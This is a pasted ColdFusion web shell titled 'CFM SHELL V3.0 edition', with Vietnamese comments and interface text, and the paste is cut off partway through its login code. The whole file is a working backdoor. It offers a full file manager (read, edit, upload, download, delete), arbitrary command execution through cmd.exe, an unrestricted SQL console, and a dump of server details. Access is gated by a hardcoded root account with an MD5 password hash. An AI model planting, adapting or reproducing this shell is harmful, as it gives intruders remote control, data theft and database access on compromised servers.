Advertisement
Guest User

Untitled

a guest
Sep 17th, 2016
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.80 KB | None | 0 0
  1. <html>
  2. <style type="text/css">
  3. body{background-color:#444;color:#e1e1e1;}
  4. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  5. table.info{ color:#fff;background-color:#222; }
  6. span,h1,a{ color: #df5 !important; }
  7. span{ font-weight: bolder; }
  8. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  9. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  10. a{text-decoration: none;}
  11. a:hover{ text-decoration:underline; }
  12. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  13. .bigarea{ width:100%;height:300px; }
  14. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  15. form{ margin:0px; }
  16. .toolsInp{ width: 300px }
  17. .main th{text-align:left;background-color:#5e5e5e;}
  18. .main tr:hover{background-color:#5e5e5e}
  19. .l1{background-color:#444}
  20. .l2{background-color:#333}
  21. pre{font-family:Courier,Monospace;}
  22. </style>
  23. <head>
  24. <TITLE>CFM SHELL V3.0 edition</TITLE>
  25. <meta http-equiv="Content-Type" content="text/html">
  26. </head>
  27. <body>
  28. <center>
  29. Cfm Shell v3.0 edition
  30. </center>
  31. <hr>
  32. <script langauge="JavaScript" type="text/javascript">
  33. function doMenu(item)
  34. {
  35. obj=document.getElementById(item);
  36. col=document.getElementById("x" + item);
  37. if (obj.style.display=="none")
  38. {
  39. obj.style.display="block"; col.innerHTML="[-]";
  40. }
  41. else
  42. {
  43. obj.style.display="none"; col.innerHTML="[+]";
  44. }
  45. }
  46. </script>
  47. <!--- Login --->
  48. <cfif IsDefined("logout")>
  49. <cfset structclear(cookie)>
  50. <cflocation url="?" addtoken="No">
  51. </cfif>
  52. <cfif IsDefined("cookie.username")>
  53. <!--- Main --->
  54. <center>Username:<font color="#FFFF33"><b><cfoutput>#username#</cfoutput></b></font> !</center>
  55. <center><b><a href="?logout">Logout</a></b></center>
  56. <hr>
  57. <cfoutput>
  58. <cfset dir = #GetDirectoryFromPath(GetTemplatePath())#>
  59. <cfif Right(dir, 1) neq "\" >
  60. <cfset dir = "#dir#\">
  61. </cfif>
  62. <!--- Ham get Datasource Infor
  63. <cfscript>
  64. factory = CreateObject("java", "coldfusion.server.ServiceFactory");
  65. DataSoureceInfo = factory.DataSourceService.getDatasources();
  66. </cfscript> --->
  67. <!--- Ham doc tep --->
  68. <cffunction name="ReadFile" access="remote" output="true" returntype="any">
  69. <cfargument name="fileread" type="string" required="true"/>
  70. <cffile action="read" file="#arguments.fileread#" variable="line">
  71. <cfoutput>#line#</cfoutput>
  72. </cffunction>
  73. <!--- ham xoa thu muc --->
  74. <cffunction name="dirDelete" access="public" output="false" returntype="any">
  75. <cfargument name="dir" required="no" default="#expandPath('/pocket_cache/')#">
  76. <cfdirectory action="list" name="delfile" directory="#arguments.dir#">
  77. <cfif delfile.RecordCount EQ 0>
  78. <cfif directoryExists(arguments.dir)>
  79. <cfdirectory action="delete" directory="#arguments.dir#">
  80. </cfif>
  81. <cfelse>
  82. <cfloop query="delfile">
  83. <cfif type EQ "file">
  84. <cffile action="delete" file="#arguments.dir#\#name#">
  85. <cfelse>
  86. <cfset temp = dirDelete(arguments.dir & '\' & #delfile.name#)>
  87. </cfif>
  88. </cfloop>
  89. <cfif directoryExists(arguments.dir)>
  90. <cfdirectory action="delete" directory="#arguments.dir#">
  91. </cfif>
  92. </cfif>
  93. </cffunction>
  94. <!--- ham doi ten thu muc --->
  95. <cffunction name="renameDirectory" access="remote" output="false" returntype="void">
  96. <cfargument name="oldDir" type="string" required="true"/>
  97. <cfargument name="newDir" type="string" required="true"/>
  98. <cfdirectory action="rename" directory="#arguments.oldDir#" newdirectory="#arguments.newDir#"/>
  99. </cffunction>
  100. </cfoutput>
  101. <!--- bat dau nhan lenh --->
  102. <cfif isDefined("action")>
  103. <cfif action is "goto">
  104. <cfoutput>
  105. <cfif isDefined("scr")>
  106. <cfset dir = #scr#>
  107. <cfif Right(dir, 1) neq "\" >
  108. <cfset dir = "#dir#\">
  109. </cfif>
  110. </cfif>
  111. </cfoutput>
  112. <cfelseif action is "edit">
  113. <cfoutput>
  114. <cfif isDefined("scr")>
  115. <cfif FileExists("#scr#")>
  116. <cfset file_name=#Replace(#scr#,'#GetDirectoryFromPath(scr)#','','ALL')#>
  117. <title>&##272;ang s&##7917;a t&##7879;p #scr#</title>
  118. <script language="JavaScript" type="text/javascript">
  119. function sTrim(sVariable)
  120. {
  121. return sVariable.replace(/^\s+|\s+$/g,"");
  122. }
  123. function validateFields(form)
  124. {
  125. return true;
  126. }
  127. </script>
  128. <cffile action="read" file="#scr#" variable="thisFile">
  129. <h1>Edit file:</h1>
  130. <div class=content>
  131. <form action="?action=save&scr=#GetDirectoryFromPath(scr)#" method="post" onsubmit="return validateFields(this);">
  132. <input type="hidden" name="fileName" value="#file_name#" />
  133. <input type="hidden" name="action_type" value="edit" />
  134. <tr>
  135. <td style="font-weight:bold;" nowrap="nowrap">
  136. File path:
  137. </td>
  138. <td>
  139. #scr#
  140. </td>
  141. </tr>
  142. <tr>
  143. <td>
  144. <cfset thisFile=#Replace(#thisFile#,'<','<','ALL')#>
  145. <cfset thisFile=#Replace(#thisFile#,'>','>','ALL')#>
  146. <textarea class="bigarea" name="fileContent">#thisFile#</textarea>
  147. </td>
  148. </tr>
  149. <tr>
  150. <td>
  151. <input type="submit" value="Save" style="font-family:verdana; font-size:11px;" />
  152. </td>
  153. </tr>
  154. </form></div>
  155. <cfelse>
  156. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  157. </cfif>
  158. <a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  159. <cfelse>
  160. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  161. </cfif>
  162. </cfoutput>
  163. <cfelseif action is "cut">
  164. <cfoutput>
  165. <cfif isDefined("scr")>
  166. <cfset cutdir = #scr#>
  167. <cfif FileExists("#scr#")>
  168. <cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#>
  169. <cfloop condition = "Right(cutdir, 1) neq '\'">
  170. <cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#>
  171. </cfloop>
  172. <cfform name="articles" ENCTYPE="multipart/form-data">
  173. B&##7841;n s&##7869; di chuy&##7875;n t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#cutdir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  174. </cfform>
  175. <cfif isDefined("thumucsechuyen")>
  176. <cffile action="move" source="#scr#" destination="#thumucsechuyen#">
  177. <cflocation url="?action=goto&scr=#cutdir#" addtoken="No">
  178. </cfif>
  179. <cfelse>
  180. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  181. </cfif>
  182. <a href="?action=goto&scr=#cutdir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  183. <cfelse>
  184. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  185. </cfif>
  186. </cfoutput>
  187. <cfelseif action is "copy">
  188. <cfoutput>
  189. <cfif isDefined("scr")>
  190. <cfset copydir = #scr#>
  191. <cfif FileExists("#scr#")>
  192. <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
  193. <cfloop condition = "Right(copydir, 1) neq '\'">
  194. <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
  195. </cfloop>
  196. <cfform name="articles" ENCTYPE="multipart/form-data">
  197. B&##7841;n s&##7869; sao ch&##233;p t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#copydir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  198. </cfform>
  199. <cfif isDefined("thumucsechuyen")>
  200. <cffile action="copy" source="#scr#" destination="#thumucsechuyen#">
  201. <cflocation url="?action=goto&scr=#copydir#" addtoken="No">
  202. </cfif>
  203. <cfelse>
  204. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  205. </cfif>
  206. <a href="?action=goto&scr=#copydir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  207. <cfelse>
  208. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  209. </cfif>
  210. </cfoutput>
  211. <cfelseif action is "rename">
  212. <cfoutput>
  213. <cfif isDefined("scr")>
  214. <cfset renamedir = #scr#>
  215. <cfif FileExists("#scr#")>
  216. <cfloop condition = "Right(renamedir, 1) neq '\'">
  217. <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
  218. </cfloop>
  219. <cfform name="articles" ENCTYPE="multipart/form-data">
  220. Rename #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Rename" />
  221. </cfform>
  222. <cfif isDefined("namechange")>
  223. <cffile action="rename" source="#scr#" destination="#renamedir##namechange#">
  224. <cflocation url="?action=goto&scr=#renamedir#" addtoken="No">
  225. </cfif>
  226. <cfelse>
  227. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  228. </cfif>
  229. <a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  230. <cfelse>
  231. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  232. </cfif>
  233. </cfoutput>
  234. <cfelseif action is "renamed">
  235. <cfoutput>
  236. <cfif isDefined("scr")>
  237. <cfset renamedir = #scr#>
  238. <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
  239. <cfif DirectoryExists("#scr#")>
  240. <cfloop condition = "Right(renamedir, 1) neq '\'">
  241. <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
  242. </cfloop>
  243. <cfform name="articles" ENCTYPE="multipart/form-data">
  244. Rename #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Rename" />
  245. </cfform>
  246. <cfif isDefined("namechange")>
  247. #renameDirectory('#scr#','#renamedir##namechange#')#
  248. <cflocation url="?action=goto&scr=#renamedir#" addtoken="No">
  249. </cfif>
  250. <cfelse>
  251. <p>Th&##432; m&##7909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  252. </cfif>
  253. <a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- ..</u></a>
  254. <cfelse>
  255. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- ..</u></a>
  256. </cfif>
  257. </cfoutput>
  258. <cfelseif action is "down">
  259. <cfoutput>
  260. <cfif isDefined("scr")>
  261. <cfset downdir = #scr#>
  262. <cfif FileExists("#scr#")>
  263. <cfloop condition = "Right(downdir, 1) neq '\'">
  264. <cfset downdir = #RemoveChars(downdir, len(downdir), 1)#>
  265. </cfloop>
  266. <cfheader name="Content-Disposition" value="attachment; filename=#getFileFromPath (scr)#">
  267. <cfcontent file="#scr#" type="application/octet-stream">
  268. <cfelse>
  269. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  270. </cfif>
  271. <a href="?action=goto&scr=#downdir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  272. <cfelse>
  273. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  274. </cfif>
  275. </cfoutput>
  276. <cfelseif action is "del">
  277. <cfoutput>
  278. <cfif isDefined("scr")>
  279. <cfset deletedir = #scr#>
  280. <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  281. <cfif FileExists("#scr#")>
  282. <cfloop condition = "Right(deletedir, 1) neq '\'">
  283. <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  284. </cfloop>
  285. <cffile action="delete" file="#scr#">
  286. <cflocation url="?action=goto&scr=#deletedir#" addtoken="No">
  287. <cfelse>
  288. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  289. </cfif>
  290. <a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a>
  291. <cfelse>
  292. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a>
  293. </cfif>
  294. </cfoutput>
  295. <cfelseif action is "deld">
  296. <cfoutput>
  297. <cfif isDefined("scr")>
  298. <cfset deletedir = #scr#>
  299. <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  300. <cfif DirectoryExists("#scr#")>
  301. <cfloop condition = "Right(deletedir, 1) neq '\'">
  302. <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  303. </cfloop>
  304. <cfset dirDelete('#scr#')>
  305. <cflocation url="?action=goto&scr=#deletedir#" addtoken="No">
  306. <cfelse>
  307. <p>DeleteDir</p>
  308. </cfif>
  309. <a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a>
  310. <cfelse>
  311. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a>
  312. </cfif>
  313. </cfoutput>
  314. <cfelseif action is "new">
  315. <!---
  316. <cfoutput>
  317. <cfif isDefined("scr")>
  318. <cfif FileExists("#scr#")>
  319. <p>T&##7853;p tin #scr# &##273;&##227; t&##7891;n t&##7841;i.</p>
  320. <cfelse>
  321. <cfform name="articles" ENCTYPE="multipart/form-data">
  322. B&##7841;n s&##7869; t&##7841;o th&##432; m&##7909;c m&##7899;i #scr#<cfinput type="text" name="namecreate" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  323. </cfform>
  324. <cfif isDefined("namecreate")>
  325. <cffile action = "write" file = "#scr##namecreate#" output = "">
  326. <cflocation url="?action=goto&scr=#scr#" addtoken="No">
  327. </cfif>
  328. </cfif>
  329. <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  330. <cfelse>
  331. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  332. </cfif>
  333. </cfoutput>
  334. --->
  335. <cfoutput>
  336. <cfif isDefined("scr")>
  337. <cfdirectory action="list" directory="#scr#" name="fileList">
  338. <script language="JavaScript" type="text/javascript">
  339. var fileArray = new Array(<cfoutput>#quotedValueList(fileList.name)#</cfoutput>);
  340. function sTrim(sVariable)
  341. {
  342. return sVariable.replace(/^\s+|\s+$/g,"");
  343. }
  344. function validateFields(form)
  345. {
  346. var fileCount = 0;
  347. var re = /.txt$|.cfm$|.cfml$|.htm|.html$/;
  348. if (sTrim(form.fileName.value) == "")
  349. {
  350. alert('Can nhap ten tep');
  351. form.fileName.focus();
  352. return false;
  353. }
  354. if (form.fileName.value.search(re) < 0)
  355. {
  356. alert('Khong chap nhan tep loai nay!\n\n Chi chap nhan .cfm, .cfml, .htm, .html, va .txt!');
  357. form.fileName.focus();
  358. form.fileName.select();
  359. return false;
  360. }
  361. for (var i=0; i<fileArray.length; i++)
  362. {
  363. if (sTrim(form.fileName.value) == fileArray[i])
  364. {
  365. fileCount++;
  366. }
  367. }
  368. if (fileCount > 0)
  369. {
  370. alert('Ten nay da ton tai, vui long chon tep khac');
  371. form.fileName.focus();
  372. form.fileName.select();
  373. return false;
  374. }
  375. return true;
  376. }
  377. </script>
  378. <form action="?action=save&scr=#scr#" method="post" onsubmit="return validateFields(this);">
  379. <input type="hidden" name="action_type" value="add" />
  380. <table border="0" style="width:400px;">
  381. <tr>
  382. <td style="font-weight:bold;" nowrap="nowrap">
  383. File name:
  384. </td>
  385. <td>
  386. <input type="text" name="fileName" style="font-family:verdana; font-size:11px; width:316px;" />
  387. </td>
  388. </tr>
  389. <tr>
  390. <td style="font-weight:bold;" nowrap="nowrap">
  391. File content:
  392. </td>
  393. <td colspan="2">
  394. <textarea name="fileContent" style="font-family:verdana; font-size:11px; height:250px; width:600px;"></textarea>
  395. </td>
  396. </tr>
  397. <tr>
  398. <td colspan="2" style="text-align:right;">
  399. <input type="submit" value="Save" style="font-family:verdana; font-size:11px;" />
  400. </td>
  401. </tr>
  402. </table>
  403. </form>
  404. <a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  405. <cfelse>
  406. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  407. </cfif>
  408. </cfoutput>
  409. <cfelseif action is "newd">
  410. <cfoutput>
  411. <cfif isDefined("scr")>
  412. <cfform name="articles" ENCTYPE="multipart/form-data">
  413. New dir: <cfinput type="text" name="namecreate" size="25" value="#GetDirectoryFromPath(scr)#"> <input type="submit" value="Create new dir" />
  414. </cfform>
  415. <cfif isDefined("namecreate")>
  416. <cfdirectory directory= "#scr##namecreate#" action="create">
  417. <cflocation url="?action=goto&scr=#scr#" addtoken="No">
  418. </cfif>
  419. <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  420. <cfelse>
  421. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  422. </cfif>
  423. </cfoutput>
  424. <cfelseif action is "upload">
  425. <cfoutput>
  426. <cfif isDefined("scr")>
  427. <cfform enctype="multipart/form-data" method="post">
  428. Upload file to path: <font color="red">#scr#</font><br>
  429. Choose file: <input type="file" size="80" name="fileup" /> <input type="submit" value="Upload" /><br/>
  430. </cfform>
  431. <cfif isDefined("fileup")>
  432. <cffile action="upload" fileField="fileup" destination="#scr#" nameconflict="overwrite">
  433. <cflocation url="?action=goto&scr=#scr#" addtoken="No">
  434. </cfif>
  435. <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  436. <cfelse>
  437. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  438. </cfif>
  439. </cfoutput>
  440. <cfelseif action is "cmd">
  441. <cfoutput>
  442. <cfif not isDefined("patch")>
  443. <cfif FileExists("#GetDirectoryFromPath(GetTemplatePath())#cdm.exe")>
  444. <cfset patch = "#GetDirectoryFromPath(GetTemplatePath())#cmd.exe">
  445. <cfset out = "#GetDirectoryFromPath(GetTemplatePath())#out.txt">
  446. <cfelseif FileExists("C:\windows\system32\cmd.exe")>
  447. <cfset patch = "C:\windows\system32\cmd.exe">
  448. <cfset out = "C:\windows\system32\out.txt">
  449. <cfelseif FileExists("C:\winnp\system32\cmd.exe")>
  450. <cfset patch = "C:\winnp\system32\cmd.exe">
  451. <cfset out = "C:\winnp\system32\out.txt">
  452. <cfelse>
  453. <p>Kh&##244;ng t&##236;m th&##7845;y t&##7879;p cmd.exe</p>
  454. <p>Khai b&##225;o bi&##7871;n patch l&##224; &##273;&##432;&##7901;ng d&##7851;n tr&##7921;c ti&##7871;p t&##7899;i t&##7879;p cmd.exe</p>
  455. <p>Khai b&##225;o bi&##7871;n out l&##224; &##273;&##432;&##7901;ng d&##7851;n tr&##7921;c ti&##7871;p t&##7899;i t&##7879;p d&##7919; li&##7879;u</p>
  456. <cfset sai = 1>
  457. </cfif>
  458. <cfelseif FileExists("#patch#")>
  459. <cfset out = "#GetDirectoryFromPath(patch)#out.txt">
  460. <cfelse>
  461. <p>Kh&##244;ng t&##236;m th&##7845;y t&##7879;p cmd.exe</p>
  462. </cfif>
  463. <cfif not isDefined("sai")>
  464. <cfform name="articles" ENCTYPE="multipart/form-data">
  465. Enter command: <cfinput type="text" name="command" size="25" value=""> <input type="submit" value="Run" />
  466. </cfform>
  467. <cfif isDefined("command")>
  468. <p>Results:</p>
  469. <cfexecute name="#patch#" arguments="/C #command# > #out#" timeout="60"></cfexecute>
  470. #ReadFile('#out#')#
  471. #out#
  472. <cfif FileExists("#out#")>
  473. <cffile action="delete" file="#out#">
  474. </cfif>
  475. </cfif>
  476. </cfif>
  477. <br>
  478. <a href="?action=goto&scr=#GetDirectoryFromPath(GetTemplatePath())#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  479. </cfoutput>
  480. <cfelseif action is "datainfo">
  481. <cfoutput>
  482. <cfdump var="#DataSoureceInfo#">
  483. <a href="?action=goto&scr=#GetDirectoryFromPath(GetTemplatePath())#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  484. </cfoutput>
  485. <cfelseif action is "save">
  486. <cfoutput>
  487. <cfif isDefined("form.fileName")>
  488. <title>&##272;&##227; l&##432;u t&##7879;p</title>
  489. <cffile action="write" file="#scr#\#form.fileName#" output="#form.fileContent#" addnewline="no">
  490. &##272;&##227; <cfif form.action_type IS "edit">s&##7917;a<cfelse>t&##7841;o</cfif> th&##224;nh c&##244;ng t&##7879;p <span style="font-weight:bold;">#form.fileName#</span>.<br>
  491. <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  492. <cfelse>
  493. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  494. </cfif>
  495. </cfoutput>
  496. <cfelseif action is "sql">
  497. <cfoutput>
  498. <cfform name="articles1" ENCTYPE="multipart/form-data">
  499. DataBase Name:
  500. <cfif isDefined("database")>
  501. <cfinput type="text" name="database" size="25" value="#database#"><br>
  502. <cfelseif IsDefined("DS")>
  503. <cfinput type="text" name="database" size="25" value="#DS#"><br>
  504. <cfelse>
  505. <cfinput type="text" name="database" size="25" value=""><br>
  506. </cfif>
  507. SQL query: <cfinput type="text" query="SQL" name="query" size="130" value=""><br>
  508. <input type="submit" value="Th&##7921;c hi&##7879;n" />
  509. </cfform>
  510. </cfoutput>
  511. <cfif isDefined("database") and isDefined("query")>
  512. <cfquery name="SQL" DataSource="#database#">
  513. #preserveSingleQuotes(query)#
  514. </cfquery>
  515. <br>
  516. <table width="90%" border="1" align="center">
  517. <tr><td align="center">M?u h?i: <font color="red"><cfoutput>#query#</cfoutput></font></td></tr>
  518. <tr><td align="center">K?t qu? tr? v?:</td></tr>
  519. <tr><td><cfdump var="#SQL#" format="text" label="Ket qua"></td></tr>
  520. </table>
  521. <br>
  522. </cfif>
  523. <cfoutput>
  524. <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
  525. </cfoutput>
  526. </cfif>
  527. <cfelse>
  528. <cfset action = "goto">
  529. </cfif>
  530. <cfif action is "goto" or action is "del" or action is "deld">
  531. <cfoutput>
  532. <center><a href="javascript:doMenu('thongtin');" id=xthongtin>[-]</a>Server info:</center>
  533. <div id="thongtin">
  534. <!--- Lay thong tin ip --->
  535. <cfif #cgi.http_x_forwarded_for# eq "">
  536. <cfset clientip="#cgi.remote_addr#">
  537. <cfelse>
  538. <cfset clientip="#cgi.http_x_forwarded_for#">
  539. </cfif>
  540. <!--- In thong tin server --->
  541. <span>Server IP:</span> #CGI.HTTP_HOST#:#CGI.SERVER_PORT#</span> - <span>Client IP:</span> #clientip#<br>
  542. <span>Gateway Interface:</span> #CGI.GATEWAY_INTERFACE# - <span>Server Name:</span> #CGI.SERVER_NAME#:#CGI.SERVER_PORT#<br>
  543. <span>Server Protocol:</span> #CGI.SERVER_PROTOCOL# - <span>Server Software:</span> #CGI.SERVER_SOFTWARE#<br>
  544. <span>Appserver:</span> #server.coldfusion.appserver# - <span>Expiration:</span> #DateFormat(server.coldfusion.expiration, "d/m/yy")# #TimeFormat(server.coldfusion.expiration, "HH:mm:ss")#<br>
  545. <span>Product Name:</span> #server.coldfusion.productname# - <span>Product Level:</span> #server.coldfusion.productlevel# - <span>Product Version:</span> #server.coldfusion.productversion#<br>
  546. <span>Server OS Arch:</span> #server.os.arch# - <span>Server OS Name:</span> #server.os.name# - <span>Server OS Version:</span> #server.os.version#<br>
  547. </div>
  548. <hr>
  549. <!--- Thu tao Object
  550. <cftry>
  551. <cfobject type="com" class="scripting.filesystemobject" name="fso" action="connect">
  552. <cfcatch type="any">
  553. <cfobject type="com" class="scripting.filesystemobject" name="fso" action="create">
  554. </cfcatch>
  555. </cftry>
  556. --->
  557. <hr>
  558. <center><a href="javascript:doMenu('congcu');" id=xcongcu>[-]</a>Main:</center>
  559. <div id="congcu">
  560. Path: #dir#<br>
  561. Operations: <a href="?action=new&scr=#dir#">NewFile</a> - <a href="?action=newd&scr=#dir#">NewDir</a> - <a href="?action=upload&scr=#dir#" title="T&##7843;i l&##234;n m&##7897;t t&##7879;p t&##7915; m&##225;y t&##237;nh c&##7911;a b&##7841;n">Upload file</a> - <a href="?" title="Tr&##7903; v&##7873; th&##432; m&##7909;c ch&##7913;a Shell">---</a><br>
  562. Actions: <a href="?action=cmd" title="Th&##7921;c thi l&##7879;nh Command Dos">CMD</a> - <a href="?action=sql&scr=#dir#" title="Th&##7921;c thi l&##7879;nh SQL query">SQL</a> - <a href="?action=datainfo" title="Th&##244;ng tin C&##417; S&##7903; D&##7919; Li&##7879;u">Datainfo CSDL</a>
  563. </div>
  564. <hr>
  565. <h1>File manager:</h1>
  566. <div id="thumuc">
  567. </cfoutput>
  568. <cfdirectory directory="#dir#" name="myDirectory" sort="type ASC" >
  569. <div class=content>
  570. <table width=100% class=main cellspacing=0 cellpadding=1><tr><th width='13px'><input type=checkbox class=chkbx name=ch11'></th><th>Name</th><th>Size</th><th>Modify</th><th>Chmod</th><th>Mode</th><th>Actions</th></tr>
  571. <cfoutput>
  572. <cfif len(dir) gt 3>
  573. <tr>
  574. <cfset updir = #dir#>
  575. <cfset updir = #RemoveChars(updir, len(updir), 1)#>
  576. <cfloop condition = "Right(updir, 1) neq '\'">
  577. <cfset updir = #RemoveChars(updir, len(updir), 1)#>
  578. </cfloop>
  579. <th class=chkbx><input type=checkbox width='13px' class=chkbx></th><td width="20%"><strong><a href="?action=goto&scr=#updir#">..</a></strong></td>
  580. </tr>
  581. </cfif>
  582. </cfoutput>
  583. <cfset x=1>
  584. <cfoutput query="myDirectory">
  585. <cfif x EQ 2>
  586. <tr class=l2><th class=chkbx width='13px'><input type=checkbox class=chkbx></th>
  587. </cfif>
  588. <cfif x EQ 1>
  589. <tr class=l1><th class=chkbx width='13px'><input type=checkbox class=chkbx></th>
  590. </cfif>
  591. <cfif x EQ 1>
  592. <cfset x=2>
  593. <cfelse>
  594. <cfset x=1>
  595. </cfif>
  596. <td>
  597. <cfif #Type# is "Dir">
  598. <a href="?action=goto&scr=#dir##Name#\"><b>[#Name#]</b></a>
  599. <cfelse>
  600. <a href="?action=edit&scr=#dir##Name#\">#Name#</a>
  601. </cfif>
  602. </td>
  603. <td>
  604. <cfif #type# is "Dir">
  605. <Dir>
  606. <cfelseif #Size# LT 1024>
  607. #Size# B
  608. <cfelseif #Size# LT 1024*1024>
  609. #round(Size/1024)# KB
  610. <cfelseif #Size# LT 1024*1024*1024>
  611. #round(Size/1024/1024)# MB
  612. <cfelseif #Size# LT 1024*1024*1024*1024>
  613. #round(Size/1024/1024/1024)# GB
  614. <cfelseif #Size# LT 1024*1024*1024*1024*1024>
  615. #round(Size/1024/1024/1024/1024)# TB
  616. </cfif>
  617. </td>
  618. <td>
  619. #DateFormat(DateLastModified, "d/m/yy")# #TimeFormat(DateLastModified, "HH:mm:ss")#
  620. </td>
  621. <td>#Attributes#</td>
  622. <td>#Mode#</td>
  623. <td>
  624. <cfif #Type# is "File">
  625. <a href="?action=edit&scr=#dir##Name#">Edit</a>|<a href="?action=cut&scr=#dir##Name#">Cut</a>|<a href="?action=copy&scr=#dir##Name#">Copy</a>|<a href="?action=rename&scr=#dir##Name#">Rename</a>|<a href="?action=down&scr=#dir##Name#">Download</a>|<a href="?action=del&scr=#dir##Name#" onCLick="return confirm('Delete #Name# ?')">Delete</a>
  626. <cfelse>
  627. <a href="?action=cutd&scr=#dir##Name#\">Cutdir</a>|<a href="?action=copyd&scr=#dir##Name#\">Copy</a>|<a href="?action=renamed&scr=#dir##Name#\">Rename</a>|<a href="?action=deld&scr=#dir##Name#\" onCLick="return confirm('Delete #Name# ?')">DeleteDir</a>
  628. </cfif>
  629. </td>
  630. </tr>
  631. </cfoutput>
  632. </table></div>
  633. </div>
  634. </cfif>
  635. <!--- End Main --->
  636. <cfelseif Not IsDefined("cookie.username")>
  637. <cfform name="articles" ENCTYPE="multipart/form-data">
  638. <center><table width="300" border="0">
  639. <tr>
  640. <td width="50">Username:</td>
  641. <td width="50"><input type="text" name="username"></td>
  642. </tr>
  643. <tr>
  644. <td width="50">Password:</td>
  645. <td width="50"><input type="password" name="password"></td>
  646. </tr>
  647. <tr>
  648. <td width="50">Remember you?:</td>
  649. <td width="50">
  650. <input type="checkbox" name="RememberMe" value="Yes" checked>
  651. <input type="submit" name="Process" value="Login">
  652. </td>
  653. </tr>
  654. </table></center>
  655. </cfform>
  656. <cfif IsDefined("username")>
  657. <cfset member_username = "root">
  658. <cfset member_password = "a619d974658f3e749b2d88b215baea46">
  659. <cfif #username# neq #member_username#>
  660. <center>Wrong username!</center>
  661. <cfset structclear(cookie)>
  662. <cfelseif hash(form.password, "MD5") neq #member_password#>
  663. <center>Wrong password!</center>
  664. <cfset structclear(cookie)>
  665. <cfelse>
  666. <cfif IsDefined("RememberMe")>
  667. <cfset member_password1 = hash(form.password, "MD5")>
  668. <cfcookie name="username" value="#form.username#" expires="NEVER">
  669. <cfcookie name="password" value="#member_password1#" expires="NEVER">
  670. <cfelse>
  671. <cfset member_password1 = hash(form.password, "MD5")>
  672. <cfcookie name="username" value="#form.username#">
